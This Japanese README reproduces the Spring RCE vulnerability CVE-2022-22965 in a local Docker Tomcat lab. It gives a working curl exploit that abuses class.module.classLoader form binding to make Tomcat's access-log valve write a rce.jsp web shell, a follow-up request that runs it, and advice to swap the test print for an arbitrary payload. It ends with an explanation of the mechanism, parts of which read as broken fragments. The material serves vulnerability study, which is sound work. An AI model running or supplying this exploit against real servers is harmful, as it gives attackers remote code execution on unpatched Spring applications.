
CVE-2022-22965 Spring RCE を再現するための最小限の例です。
docker-compose up --build
./exploits/run.sh
webapps/handling-form-submission-complete に rce.jsp ファイルを作成します。Docker で Tomcat サーバーを実行します
docker run -p 8888:8080 --rm --interactive --tty --name vm1 tomcat:9.0
リモートデバッグしたい場合は -p 5005:5005 -e "JAVA_OPTS=-Xdebug -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005" を追加します。
プロジェクトをビルドします
./mvnw install
アプリをデプロイします
docker cp target/handling-form-submission-complete.war vm1:/usr/local/tomcat/webapps
エクスプロイトを作成します
curl -X POST \
-H "pre:<%" \
-H "post:;%>" \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}iSystem.out.println(123)%{post}i' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/handling-form-submission-complete' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
http://localhost:8888/handling-form-submission-complete/greeting
エクスプロイトは、Webサーバー上の webapps/handling-form-submission-complete に rce.jsp ファイルを作成します。
エクスプロイトを使用します
curl http://localhost:8888/handling-form-submission-complete/rce.jsp
コンテナのターミナルに 123 が表示されます。System.out.println(123) を任意のコードを実行するためのペイロードに置き換えてください。
GreetingController が /greeting エンドポイントへの POST リクエストを処理し、フォームフィールドを Greeting オブジェクトにバインドします。user.info.firstname)のバインドもサポートしています。参考として AbstractNestablePropertyAccessor を参照してください。Greeting クラスには id と content の2つのフィールドがありますが、実際には Class オブジェクトへの参照も持っています。フォームデータのキーとして class.module.classLoader を使用すると、クラスローダーにアクセスできます。module を含む Class オブジェクトのほとんどのプロパティへのアクセスを制限することだったことがわかります。Greeting クラスからネストされた参照チェーンを介してアクセスできるクラスの public プロパティを設定できます。それ以外はできません。ほとんどの場合、class.module.classLoader. からでも public フィールドを持つクラスが利用できないため、危険ですらありません。このエクスプロイトは、特別なクラスローダーを持つ Tomcat でのみ機能します。同様の参照チェーンは他の Web アプリケーションサーバーにも存在する可能性がありますが、まだ簡単には発見されていません。
このエクスプロイトには Java 9 以上が必要です。module プロパティは Java 9 で追加されたためです。
getResources アクセサ があり、参照チェーンを続けて AccessLogValve クラス のインスタンスの1つにアクセスできるからです。jsp ファイルをアプリケーションフォルダのルートに作成します。jsp は Tomcat によって自動的に実行されるため、ブラウザでアクセスして最終的にペイロードを実行できます。これで RCE になります。